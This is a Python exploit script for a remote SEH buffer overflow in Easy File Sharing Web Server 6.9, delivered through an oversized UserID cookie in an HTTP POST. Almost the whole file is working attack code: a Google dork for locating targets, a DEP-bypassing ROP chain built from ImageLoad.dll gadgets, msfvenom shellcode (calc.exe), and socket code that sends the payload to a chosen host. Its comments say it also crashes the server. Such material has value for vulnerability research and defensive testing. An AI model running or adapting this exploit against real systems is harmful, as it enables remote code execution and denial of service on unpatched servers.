#!/usr/bin/python # Exploit Title: Easy File Sharing Web Server 6.9 - 'POST' msg.ghp 'UserID' Remote Buffer Overflow (SEH)(DEP Bypass + ROP) # Google Dork: intitle:"Login - powered by Easy File Sharing Web Server" # Version: 6.9 # Date: 2018-09-09 # Author: Hodorsec (hodorsec@protonmail.com) # Vendor Homepage: http://www.efssoft.com/ # Tested on: Win7 x86 SP1, Win8.1 x64, Win10 build 1703 x64 # Description: # Exploits the '/msg.ghp' in a HTTP POST request, using the UserID variable. Although more pages are vulnerable for the UserID variable, this one specifically accepts a large request and overwrites SEH. # Initial discovery by fuzzing with sulley / boofuzz with iterating large requests of about 60000 characters on several pages/parameters. # Doesn't overwrite SEH when using a more smaller amount of chars on the "msg.ghp" page. # The 7.2 version includes "sqlite3.dll", which gives far more ROP instructions: the 6.9 version doesn't and had to use some additional ROP instructions just using "imageload.dll" and "fsws.exe". # Does create DoS after executing exploit payload due to memory flooding. # Additional note: Although version 7.2 is a newer version, 7.2 still identifies itself with HTTP server-header "Server: Easy File Sharing Web Server v6.9", just like 6.9 does. # This exploit only works for 6.9 import socket, struct, sys, ssl, time if len(sys.argv) != 4: print "Usage: " + sys.argv[0] + " <host> <port> <http/https>\n" print "Example: " + sys.argv[0] + " 192.168.1.1 80 http" print "Example: " + sys.argv[0] + " 192.168.1.1 443 https\n" exit() host = sys.argv[1] port = int(sys.argv[2]) method = sys.argv[3] if method == "http": print "Trying to connect via HTTP..." elif method == "https": print "Trying to connect via SSL..." else: print "\nInvalid method given: enter http or https\n" exit() # Size 220 # msfvenom -p windows/exec cmd=calc.exe -f python -v shellcode -b "\x00\x0d\x0a\x3b" exitfunc=thread shellcode = "" shellcode += "\xb8\x1f\xc0\xf7\x3f\xd9\xcf\xd9\x74\x24\xf4\x5d" shellcode += "\x33\xc9\xb1\x31\x31\x45\x13\x03\x45\x13\x83\xed" shellcode += "\xe3\x22\x02\xc3\xf3\x21\xed\x3c\x03\x46\x67\xd9" shellcode += "\x32\x46\x13\xa9\x64\x76\x57\xff\x88\xfd\x35\x14" shellcode += "\x1b\x73\x92\x1b\xac\x3e\xc4\x12\x2d\x12\x34\x34" shellcode += "\xad\x69\x69\x96\x8c\xa1\x7c\xd7\xc9\xdc\x8d\x85" shellcode += "\x82\xab\x20\x3a\xa7\xe6\xf8\xb1\xfb\xe7\x78\x25" shellcode += "\x4b\x09\xa8\xf8\xc0\x50\x6a\xfa\x05\xe9\x23\xe4" shellcode += "\x4a\xd4\xfa\x9f\xb8\xa2\xfc\x49\xf1\x4b\x52\xb4" shellcode += "\x3e\xbe\xaa\xf0\xf8\x21\xd9\x08\xfb\xdc\xda\xce" shellcode += "\x86\x3a\x6e\xd5\x20\xc8\xc8\x31\xd1\x1d\x8e\xb2" shellcode += "\xdd\xea\xc4\x9d\xc1\xed\x09\x96\xfd\x66\xac\x79" shellcode += "\x74\x3c\x8b\x5d\xdd\xe6\xb2\xc4\xbb\x49\xca\x17" shellcode += "\x64\x35\x6e\x53\x88\x22\x03\x3e\xc6\xb5\x91\x44" shellcode += "\xa4\xb6\xa9\x46\x98\xde\x98\xcd\x77\x98\x24\x04" shellcode += "\x3c\x46\xc7\x8d\x48\xef\x5e\x44\xf1\x72\x61\xb2" shellcode += "\x35\x8b\xe2\x37\xc5\x68\xfa\x3d\xc0\x35\xbc\xae" shellcode += "\xb8\x26\x29\xd1\x6f\x46\x78\xb2\xee\xd4\xe0\x1b" shellcode += "\x95\x5c\x82\x63" def create_rop_chain(): rop_gadgets = [ # (1a) ECX --> flProtect (0x40) 0x1001bd98, # POP ECX # RETN [ImageLoad.dll] 0xffffffff, # Filler ] for i in range(0,65): # (1b) ECX --> flProtect (0x40) rop_gadgets += [ 0x10021fd8, # INC ECX # ADD AL,5F # POP ESI # POP EBP # POP EBX # RETN [ImageLoad.dll] 0xffffffff, # Filler 0xffffffff, # Filler 0xffffffff, # Filler ] rop_gadgets += [ # (2) EBP --> skip 4 bytes 0x1001cbbc, # POP EBP # RETN [ImageLoad.dll] 0x1001cbbc, # skip 4 bytes [ImageLoad.dll] # (3) EDX --> flAllocationType (0x1000) # (3a) EAX --> EBX 0x1001fab4, # pop ebx ; xor eax, eax ; ret [ImageLoad.dll] 0xffffffff, 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0xFFFFEFFE, # -1002 0x100231d1, # NEG EAX # RETN [ImageLoad.dll] 0x1001614d, # DEC EAX # RETN [ImageLoad.dll] 0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0x1004de84, # &Writable location [ImageLoad.dll] # (3b) EBX --> EDX 0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll] 0x10022c1e, # ADD EDX,EBX # POP EBX # RETN 0x10 [ImageLoad.dll] 0xffffffff, # Filler 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] # (4) EBX --> dwSize (0x1) 0x100132ba, # POP EBX # RETN [ImageLoad.dll] 0xffffffff, # Filler 0x1001f6da, # INC EBX # ADD AL,83 # RETN [ImageLoad.dll] 0x1001f6da, # INC EBX # ADD AL,83 # RETN [ImageLoad.dll] # (5) EDI --> ROP NOP in EDI 0x100194c0, # POP EDI # RETN ** [ImageLoad.dll] ** 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] # (6) ESI --> JMP [EAX] 0x10024632, # POP ESI # RETN [ImageLoad.dll] 0x10021e9d, # JMP [EAX] [ImageLoad.dll] # (7) EAX --> VirtualAlloc 0x10015442, # POP EAX # RETN ** [ImageLoad.dll] ** 0x1004d1fc, # ptr to &VirtualAlloc() [IAT ImageLoad.dll] # (8) End chain with PUSHAD - needs JMP ESP like instruction 0x100240c2, # PUSHAD # RETN ** [ImageLoad.dll] ** # (9) Craft JMP ESP location by negating, calling via JMP EAX 0x10015442, # POP EAX # RETN ** [ImageLoad.dll] ** 0xffbde9c9, # Value to negate for 00421637 ; JMP ESP ** [fsws.exe] ** 0x100231d1, # NEG EAX # RET ** [ImageLoad.dll] ** 0x10012b14, # jmp eax ** [ImageLoad.dll] ** ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() # Flood it flood = 56924 # NOPsled nopsled = "\x90" * 32 # SEH pointer, large enough to pivot and added lastly due to null-byte in address seh = "\x1e\x3f\x46" # add esp, 0x1320; ret 0xc; ** [fsws.exe] ** # Filler filler = struct.pack("<I", 0x1001a858) * ((flood - len(rop_chain + nopsled + shellcode + seh)) / 4) # RETN (ROP NOP) [ImageLoad.dll] # Building buffer buf = filler + rop_chain + nopsled + shellcode + "\x41" * (flood - len(filler + rop_chain + nopsled + shellcode)) + seh try: print "[+] Sending request with " + str(len(buf)) + " bytes..." httpreq = ( "POST /msg.ghp?forumid=1&id=1 HTTP/1.1\r\n" "Host: " + host + ":" + str(port) + "\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "User-Agent: Mozilla/5.0\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\n" "Accept-Encoding: gzip, deflate\r\n" "Accept-Language: en-US\r\n" "Cookie: UserID=" + buf + "; PassWD=1234; SESSIONID=1234\r\n" "Connection: close\r\n\r\n" "userid=1234&passwd=1234&content=1234&Update=Update" ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if method == "https": context = ssl._create_unverified_context() s = context.wrap_socket(s, server_hostname=host) s.settimeout(2) s.connect((host, port)) s.send(httpreq) s.close() time.sleep(0.5) except Exception as e: print(e) sys.exit(0)